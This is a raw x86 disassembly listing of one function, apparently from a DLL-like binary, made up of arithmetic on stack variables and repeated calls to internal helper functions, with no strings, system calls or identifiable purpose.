mov ecx, dword [0x10008024]
push ecx
movzx edx, word [ebp - 0xec]
push edx
call fcn.100013c0
add esp, 0x10
jmp 0x10006fd1
movsx eax, byte [ebp - 0x59]
mov ecx, dword [ebp - 0xb8]
movsx edx, byte [ecx]
add eax, edx
mov byte [0x10008036], al
mov eax, dword [ebp - 0xb4]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x6d]
shl edx, cl
mov byte [ebp - 0x115], dl
jmp 0x10007023
movsx eax, word [ebp - 0x14c]
movsx ecx, word [ebp - 0x148]
add eax, ecx
movsx edx, word [ebp - 0x54]
movsx ecx, word [ebp - 0xec]
sub edx, ecx
cmp eax, edx
jge 0x10007023
mov edx, dword [0x10008054]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x119]
or eax, ecx
mov edx, dword [ebp - 0x158]
mov byte [edx], al
mov eax, dword [ebp - 0x110]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x32]
sub ecx, edx
mov eax, dword [ebp - 0xa8]
mov byte [eax], cl
mov ecx, dword [ebp - 0x138]
push ecx
mov edx, dword [ebp - 0x13c]
push edx
mov eax, dword [ebp - 0x94]
push eax
mov ecx, dword [ebp - 0x98]
push ecx
mov edx, dword [ebp - 0x138]
push edx
mov eax, dword [ebp - 0x13c]
push eax
mov ecx, dword [ebp - 0x130]
push ecx
mov edx, dword [ebp - 0x134]
push edx
call fcn.100014a0
add esp, 0x20
movsx eax, byte [ebp - 0xfa]
mov ecx, dword [ebp - 0xf0]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x30]
mov byte [ecx], al
movsx edx, byte [ebp - 0x11]
movsx eax, byte [ebp - 0xa1]
sub edx, eax
mov byte [0x10008003], dl
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx]
and edx, dword [ebp - 0x1a8]
mov dword [ebp - 0x74], edx
movsx eax, byte [ebp - 0x4b]
movsx ecx, byte [ebp - 0x42]
add eax, ecx
mov byte [ebp - 0x49], al
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xd4]
movsx edx, byte [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x158]
mov byte [ecx], al
movzx edx, word [ebp - 0xcc]
movzx ecx, word [ebp - 0x60]
sar edx, cl
mov word [ebp - 0xe8], dx
mov eax, dword [ebp - 0xf0]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x80]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x20], dl
movsx ecx, byte [ebp - 0x7a]
movsx edx, byte [ebp - 0xa2]
and ecx, edx
mov byte [0x10008006], cl
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 1]
sub ecx, edx
mov eax, dword [ebp - 0x78]
mov byte [eax], cl
movsx ecx, byte [ebp - 0x2a]
mov edx, dword [ebp - 0x48]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x184], cl
movzx ecx, word [ebp - 0x14c]
push ecx
mov edx, dword [ebp - 0x190]
push edx
mov eax, dword [ebp - 0x194]
mov ecx, dword [eax]
push ecx
movzx edx, word [ebp - 0x50]
push edx
call fcn.100013c0
add esp, 0x10
mov eax, 1
jmp 0x10007da4
movsx eax, byte [ebp - 0x6e]
movsx ecx, byte [ebp - 0x99]
shl eax, cl
mov ecx, dword [ebp - 0x110]
mov byte [ecx], al
mov edx, dword [ebp - 0xa8]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x49]
xor eax, ecx
mov byte [ebp - 0x6e], al
mov edx, dword [ebp - 0x110]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x48]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x78]
mov byte [ecx], al
jmp 0x10007222
mov edx, dword [ebp - 0xf0]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x158]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0xfb], al
movsx eax, byte [ebp - 0xfb]
movsx ecx, byte [ebp - 0x21]
and eax, ecx
mov byte [ebp - 0x11], al
movsx edx, byte [ebp - 0x8a]
movsx eax, byte [ebp - 0xc7]
sub edx, eax
mov ecx, dword [ebp - 0x58]
mov byte [ecx], dl
mov edx, dword [ebp - 0x88]
mov eax, dword [ebp - 0xa0]
or eax, dword [edx]
mov dword [ebp - 0x74], eax
movsx edx, byte [ebp - 0x89]
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
sar edx, cl
mov byte [0x10008036], dl
mov ecx, dword [ebp - 0x1a8]
push ecx
mov edx, dword [ebp - 0x74]
push edx
call fcn.10001430
add esp, 8
mov eax, dword [ebp - 0x194]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1c]
add ecx, dword [edx]
mov eax, dword [0x10008048]
mov dword [eax], ecx
mov ecx, dword [0x10008008]
sub ecx, dword [ebp - 0xdc]
mov edx, dword [0x1000800c]
sbb edx, dword [ebp - 0xd8]
mov dword [ebp - 0xf8], ecx
mov dword [ebp - 0xf4], edx
mov eax, dword [ebp - 0x74]
sub eax, dword [ebp - 0xa0]
mov dword [ebp - 0x6c], eax
movsx ecx, byte [ebp - 0x42]
mov edx, dword [ebp - 0x28]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x78]
mov byte [edx], cl
mov eax, dword [ebp - 0xb8]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x78]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x11], cl
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ecx + 4]
push edx
mov eax, dword [ecx]
push eax
mov ecx, dword [ebp - 0x128]
mov edx, dword [ecx + 4]
push edx
mov eax, dword [ecx]
push eax
mov ecx, dword [ebp - 0x168]
push ecx
mov edx, dword [ebp - 0x16c]
push edx
mov eax, dword [ebp - 0x84]
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
call fcn.100014a0
add esp, 0x20
jmp 0x1000738b
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x6c]
and ecx, dword [eax]
mov edx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x17c]
mov edx, dword [edx]
sub edx, dword [eax]
cmp ecx, edx
jle 0x1000738b
movzx eax, word [ebp - 0x100]
movzx ecx, word [ebp - 0xcc]
sub eax, ecx
mov word [ebp - 0x60], ax
mov edx, dword [ebp - 0xa8]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x8a]
add eax, ecx
mov byte [ebp - 0x33], al
mov edx, dword [ebp - 0xb4]
movsx eax, byte [edx]
mov ecx, dword [0x10008064]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x10008050]
mov byte [ecx], al
mov edx, dword [ebp - 0x48]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xb8]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xd4]
mov byte [ecx], al
mov edx, dword [ebp - 0x138]
push edx
mov eax, dword [ebp - 0x13c]
push eax
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ecx + 4]
push edx
mov eax, dword [ecx]
push eax
mov ecx, dword [ebp - 0x84]
mov edx, dword [ecx + 4]
push edx
mov eax, dword [ecx]
push eax
mov ecx, dword [ebp - 0x84]
mov edx, dword [ecx + 4]
push edx
mov eax, dword [ecx]
push eax
call fcn.100014a0
add esp, 0x20
movsx ecx, byte [0x10008036]
mov edx, dword [ebp - 0xa8]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x110]
mov byte [edx], cl
movsx eax, byte [ebp - 0x42]
movsx ecx, byte [ebp - 0x59]
and eax, ecx
mov byte [ebp - 0x20], al
movsx edx, byte [ebp - 0x2a]
mov eax, dword [ebp - 0x80]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 5], dl
mov edx, dword [ebp - 0x94]
push edx
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x128]
mov edx, dword [ecx + 4]
push edx
mov eax, dword [ecx]
push eax
mov ecx, dword [ebp - 0x168]
push ecx
mov edx, dword [ebp - 0x16c]
push edx
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [ebp - 0x68]
push ecx
call fcn.100014a0
add esp, 0x20
movzx edx, byte [ebp - 5]
push edx
movzx eax, word [ebp - 0x54]
push eax
mov ecx, dword [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0xb0]
push edx
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [ebp - 0x68]
push ecx
movzx edx, byte [ebp - 0x49]
push edx
call fcn.10001400
add esp, 0x1c
mov eax, dword [ebp - 0x138]
push eax
mov ecx, dword [ebp - 0x13c]
push ecx
mov edx, dword [0x10008014]
push edx
mov eax, dword [0x10008010]
push eax
mov ecx, dword [ebp - 0x130]
push ecx
mov edx, dword [ebp - 0x134]
push edx
mov eax, dword [ebp - 0x94]
push eax
mov ecx, dword [ebp - 0x98]
push ecx
call fcn.100014a0
add esp, 0x20
mov edx, dword [0x1000801c]
push edx
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
push ecx
call fcn.10001430
add esp, 8
mov edx, dword [ebp - 0x180]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x1ac], ecx
mov edx, dword [ebp - 0x90]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x74]
shl eax, cl
mov dword [ebp - 0xa0], eax
jmp 0x1000752b
movsx ecx, byte [ebp - 0x1e]
movsx edx, byte [ebp - 6]
sub ecx, edx
mov byte [ebp - 5], cl
movsx eax, byte [ebp - 4]
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x4c], al
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x88]
add ecx, dword [edx]
mov eax, dword [ebp - 0x90]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x168]
push ecx
mov edx, dword [ebp - 0x16c]
push edx
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [ebp - 0x68]
push ecx
mov edx, dword [ebp - 0xac]
push edx
mov eax, dword [ebp - 0xb0]
push eax
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ecx + 4]
push edx
mov eax, dword [ecx]
push eax
call fcn.100014a0
add esp, 0x20
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x40]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [0x10008050]
mov byte [eax], dl
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0xbc]
mov eax, dword [edx]
mov edx, dword [edx + 4]
call fcn.10007e10
mov ecx, dword [ebp - 0x128]
mov dword [ecx], eax
mov dword [ecx + 4], edx
mov edx, dword [ebp - 0x1ac]
or edx, dword [ebp - 0x190]
mov dword [0x10008044], edx
mov eax, dword [ebp - 0x10c]
mov ecx, dword [0x1000804c]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [eax + 4]
and eax, dword [ecx + 4]
mov dword [ebp - 0xdc], edx
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x88]
add edx, dword [eax]
mov dword [ebp - 0x6c], edx
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 2]
add edx, eax
mov ecx, dword [ebp - 0x30]
mov byte [ecx], dl
mov edx, dword [ebp - 0x40]
movsx eax, byte [edx]
mov ecx, dword [0x10008058]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 5], al
movsx eax, byte [ebp - 0x4a]
movsx ecx, byte [ebp - 0x6e]
sub eax, ecx
mov byte [ebp - 0xf], al
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
push eax
call fcn.10001470
add esp, 4
jmp 0x10007665
movsx ecx, byte [ebp - 0x4c]
movsx edx, byte [ebp - 0x4b]
sub ecx, edx
mov byte [ebp - 0x44], cl
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
movsx edx, byte [0x10008036]
add ecx, edx
mov eax, dword [ebp - 0x40]
mov byte [eax], cl
movsx ecx, byte [ebp - 0x4c]
movsx edx, byte [ebp - 0x44]
and ecx, edx
mov byte [ebp - 0x1e], cl
mov eax, dword [ebp - 0x78]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x39]
add ecx, edx
mov byte [ebp - 0xf], cl
movsx eax, byte [ebp - 0x39]
movsx ecx, byte [ebp - 0x4b]
add eax, ecx
mov byte [0x10008037], al
movsx edx, byte [ebp - 0x4a]
movsx eax, byte [ebp - 5]
add edx, eax
mov ecx, dword [ebp - 0x28]
mov byte [ecx], dl
mov edx, dword [ebp - 0xa8]
movzx eax, byte [edx]
push eax
movzx ecx, word [ebp - 0x54]
push ecx
mov edx, dword [ebp - 0x64]
push edx
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0xb0]
push edx
movzx eax, byte [0x1000805c]
push eax
call fcn.10001400
add esp, 0x1c
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xb4]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x29], dl
movzx edx, word [ebp - 0x50]
push edx
mov eax, dword [ebp - 0x190]
push eax
mov ecx, dword [ebp - 0x190]
push ecx
movzx edx, word [ebp - 0xc]
push edx
call fcn.100013c0
add esp, 0x10
movsx eax, byte [0x10008036]
mov ecx, dword [ebp - 0x40]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x39], al
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0xa0]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x114]
mov dword [edx], ecx
jmp 0x100076e9
movsx eax, byte [ebp - 0xe]
mov ecx, dword [ebp - 0x48]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0xb8]
mov byte [ecx], al
mov edx, dword [ebp - 0xb4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2a]
sub eax, ecx
mov byte [ebp - 0x6f], al
mov edx, dword [ebp - 0x58]
movsx eax, byte [edx]
mov ecx, dword [0x10008054]
movsx edx, byte [ecx]
or eax, edx
mov ecx, dword [0x10008050]
mov byte [ecx], al
mov edx, dword [ebp - 0x88]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x74]
shl eax, cl
mov dword [ebp - 0xa0], eax
movsx ecx, byte [ebp - 1]
movsx edx, byte [0x10008001]
sub ecx, edx
mov byte [ebp - 0x32], cl
mov eax, dword [ebp - 0x78]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xb8]
movsx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x30]
mov byte [edx], cl
mov eax, dword [ebp - 0x58]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x10]
add ecx, edx
mov byte [ebp - 2], cl
movsx eax, byte [0x10008001]
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x4b], al
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x32]
sub ecx, edx
mov byte [ebp - 0x49], cl
movsx eax, byte [ebp - 0x32]
mov ecx, dword [ebp - 0xc0]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 2], al
mov eax, dword [ebp - 0xa8]
movsx ecx, byte [eax]
movsx edx, byte [0x10008037]
add ecx, edx
mov eax, dword [ebp - 0x78]
mov byte [eax], cl
mov ecx, dword [ebp - 0x58]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x20]
sub edx, eax
mov byte [ebp - 3], dl
mov ecx, dword [ebp - 0x80]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 1]
xor edx, eax
mov ecx, dword [0x10008050]
mov byte [ecx], dl
mov edx, dword [ebp - 0x28]
movzx eax, byte [edx]
push eax
movzx ecx, word [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x84]
mov eax, dword [edx + 4]
push eax
mov ecx, dword [edx]
push ecx
mov edx, dword [ebp - 0xbc]
mov eax, dword [edx + 4]
push eax
mov ecx, dword [edx]
push ecx
movzx edx, byte [ebp - 6]
push edx
call fcn.10001400
add esp, 0x1c
movsx eax, byte [ebp - 0x1e]
movsx ecx, byte [ebp - 2]
and eax, ecx
mov byte [ebp - 0x44], al
mov edx, dword [ebp - 0x12c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x90]
add eax, dword [ecx]
mov dword [ebp - 0x74], eax
mov edx, dword [0x10008048]
mov eax, dword [edx]
add eax, dword [ebp - 0x38]
mov ecx, dword [0x10008048]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x44]
movsx eax, byte [ebp - 0xf]
and edx, eax
mov byte [ebp - 4], dl
movsx ecx, byte [ebp - 4]
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x43], cl
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x44]
or edx, eax
mov ecx, dword [ebp - 0x18]
mov byte [ecx], dl
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x48]
movsx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x32], al
mov eax, dword [ebp - 0x108]
and eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
jmp 0x1000790a
movsx edx, byte [ebp - 0x33]
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 2], dl
movsx edx, byte [ebp - 0x10]
movsx eax, byte [ebp - 0x33]
and edx, eax
mov byte [0x10008036], dl
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 5]
add edx, eax
mov ecx, dword [ebp - 0x28]
mov byte [ecx], dl
mov edx, dword [ebp - 0x74]
sub edx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x90]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x1e]
movsx edx, byte [ebp - 6]
add ecx, edx
mov byte [ebp - 0x21], cl
movsx eax, byte [ebp - 3]
movsx ecx, byte [ebp - 0xf]
sub eax, ecx
mov byte [ebp - 4], al
movsx edx, byte [ebp - 0x1d]
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x1e], dl
movsx edx, byte [ebp - 0xe]
movsx eax, byte [ebp - 0x1e]
add edx, eax
mov ecx, dword [ebp - 0x28]
mov byte [ecx], dl
mov edx, dword [ebp - 0x84]
mov eax, dword [edx]
sub eax, dword [ebp - 0x98]
mov ecx, dword [edx + 4]
sbb ecx, dword [ebp - 0x94]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], ecx
mov edx, dword [ebp - 0x64]
push edx
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [ebp - 0x94]
push ecx
mov edx, dword [ebp - 0x98]
push edx
mov eax, dword [ebp - 0xac]
push eax
mov ecx, dword [ebp - 0xb0]
push ecx
mov edx, dword [ebp - 0x84]
mov eax, dword [edx + 4]
push eax
mov ecx, dword [edx]
push ecx
call fcn.100014a0
add esp, 0x20
movsx edx, byte [ebp - 0x1e]
mov eax, dword [ebp - 0x40]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 0x58]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x11]
add eax, ecx
mov edx, dword [ebp - 0x58]
mov byte [edx], al
mov eax, dword [ebp - 0x58]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x40]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 3], cl
mov ecx, dword [ebp - 0x48]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 6], dl
movsx edx, byte [ebp - 0x33]
movsx eax, byte [ebp - 4]
sub edx, eax
mov ecx, dword [ebp - 0x30]
mov byte [ecx], dl
mov edx, dword [ebp - 0x90]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx]
push edx
call fcn.10001430
add esp, 8
movzx eax, byte [ebp - 0x31]
movzx ecx, byte [ebp - 0xd]
sub eax, ecx
mov byte [ebp - 0x1f], al
jmp 0x100079fa
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 4], al
movsx eax, byte [ebp - 5]
movsx ecx, byte [ebp - 6]
sub eax, ecx
mov byte [ebp - 2], al
movzx edx, word [ebp - 0x54]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0xc4]
push edx
movzx eax, word [ebp - 0xc]
push eax
call fcn.100013c0
add esp, 0x10
movsx ecx, byte [ebp - 1]
movsx edx, byte [ebp - 4]
add ecx, edx
mov eax, dword [ebp - 0x18]
mov byte [eax], cl
movzx ecx, word [0x10008034]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
push edx
movzx eax, word [ebp - 0x50]
push eax
call fcn.100013c0
add esp, 0x10
jmp 0x10007aa5
movsx edx, byte [ebp - 4]
movsx ecx, byte [ebp - 2]
sar edx, cl
mov eax, dword [ebp - 0x28]
mov byte [eax], dl
mov ecx, dword [ebp - 0x28]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 3], dl
movsx edx, byte [ebp - 7]
movsx eax, byte [ebp - 6]
xor edx, eax
mov byte [ebp - 3], dl
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
add edx, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
movzx ecx, byte [section..data]
movzx edx, byte [ebp - 0x31]
and ecx, edx
mov byte [ebp - 0x1f], cl
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0xb0]
add edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0xac]
adc eax, dword [ebp - 0x64]
mov dword [ebp - 0x98], edx
mov dword [ebp - 0x94], eax
movsx ecx, byte [ebp - 4]
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x28]
mov byte [edx], cl
mov eax, dword [ebp - 0x28]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 3]
sub ecx, edx
mov eax, dword [ebp - 0x28]
mov byte [eax], cl
movzx ecx, byte [ebp - 1]
push ecx
movzx edx, word [ebp - 0x54]
push edx
mov eax, dword [ebp - 0x94]
push eax
mov ecx, dword [ebp - 0x98]
push ecx
mov edx, dword [ebp - 0x64]
push edx
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [ebp - 0x28]
movzx edx, byte [ecx]
push edx
call fcn.10001400
add esp, 0x1c
movsx eax, byte [ebp - 1]
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 4], al
mov eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 7]
sub ecx, edx
mov byte [ebp - 1], cl
mov eax, dword [ebp - 0x28]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 2]
shl edx, cl
mov byte [ebp - 4], dl
movsx eax, byte [ebp - 7]
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x18]
mov byte [ecx], al
movzx edx, byte [ebp - 1]
push edx
movzx eax, word [ebp - 0x50]
push eax
mov ecx, dword [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0xb0]
push edx
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [ebp - 0x68]
push ecx
mov edx, dword [ebp - 0x18]
movzx eax, byte [edx]
push eax
call fcn.10001400
add esp, 0x1c
movsx ecx, byte [ebp - 1]
movsx edx, byte [ebp - 2]
add ecx, edx
mov byte [ebp - 3], cl
jmp 0x10007bdb
mov eax, dword [ebp - 0x74]
sub eax, 0xb03
cmp eax, dword [ebp - 0x6c]
jle 0x10007bdb
movsx ecx, byte [ebp - 1]
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 3], cl
mov ecx, dword [ebp - 0x6c]
xor ecx, 0x65ed
mov dword [ebp - 0x74], ecx
movsx edx, byte [ebp - 1]
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x28]
mov byte [ecx], dl
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 3]
or eax, ecx
mov byte [ebp - 2], al
movzx edx, word [0x10008034]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
push eax
movzx ecx, word [ebp - 0xc]
push ecx
call fcn.100013c0
add esp, 0x10
mov edx, dword [ebp - 0xe4]
sub edx, 0x29b9
mov eax, dword [ebp - 0xe0]
sbb eax, 0x700000
mov dword [ebp - 0xdc], edx
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 2]
add edx, eax
mov ecx, dword [ebp - 0x28]
mov byte [ecx], dl
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 3]
sub eax, ecx
mov byte [ebp - 1], al
movsx edx, byte [ebp - 2]
movsx eax, byte [ebp - 1]
add edx, eax
mov byte [ebp - 3], dl
mov ecx, dword [ebp - 0x28]
movzx edx, byte [ecx]
push edx
movzx eax, word [ebp - 0x50]
push eax
mov ecx, dword [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0xb0]
push edx
mov eax, dword [ebp - 0xac]
push eax
mov ecx, dword [ebp - 0xb0]
push ecx
movzx edx, byte [ebp - 1]
push edx
call fcn.10001400
add esp, 0x1c
movsx eax, byte [ebp - 2]
movsx ecx, byte [ebp - 1]
sub eax, ecx
mov byte [ebp - 3], al
movsx edx, byte [ebp - 2]
movsx eax, byte [ebp - 3]
add edx, eax
mov ecx, dword [ebp - 0x18]
mov byte [ecx], dl
mov edx, dword [ebp - 0x18]
movzx eax, byte [edx]
push eax
movzx ecx, word [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0xac]
push edx
mov eax, dword [ebp - 0xb0]
push eax
mov ecx, dword [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0xb0]
push edx
movzx eax, byte [ebp - 3]
push eax
call fcn.10001400
add esp, 0x1c
jmp 0x10007d0a
mov ecx, dword [ebp - 0x98]
add ecx, 0x454b
mov edx, dword [ebp - 0x94]
adc edx, 0x700000
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
sub ecx, 0x1869
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
movzx edx, word [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
push eax
movzx ecx, word [ebp - 0xc]
push ecx
call fcn.100013c0
add esp, 0x10
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
add eax, 0x1e19
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
mov ecx, dword [ebp - 0xdc]
sub ecx, 0x5e73
mov edx, dword [ebp - 0xd8]
sbb edx, 0x700000
mov dword [ebp - 0xdc], ecx
mov dword [ebp - 0xd8], edx
push 0x29
movzx eax, word [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x64]
push ecx
mov edx, dword [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [ebp - 0x68]
push ecx
push 0x50
call fcn.10001400
add esp, 0x1c
movsx edx, word [ebp - 0xc]
add edx, 0x691
mov word [ebp - 0xc], dx
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [ebp - 0x68]
push ecx
mov edx, dword [ebp - 0x64]
push edx
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [ebp - 0x64]
push ecx
mov edx, dword [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [ebp - 0x68]
push ecx
call fcn.100014a0
add esp, 0x20
mov eax, 0x26
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc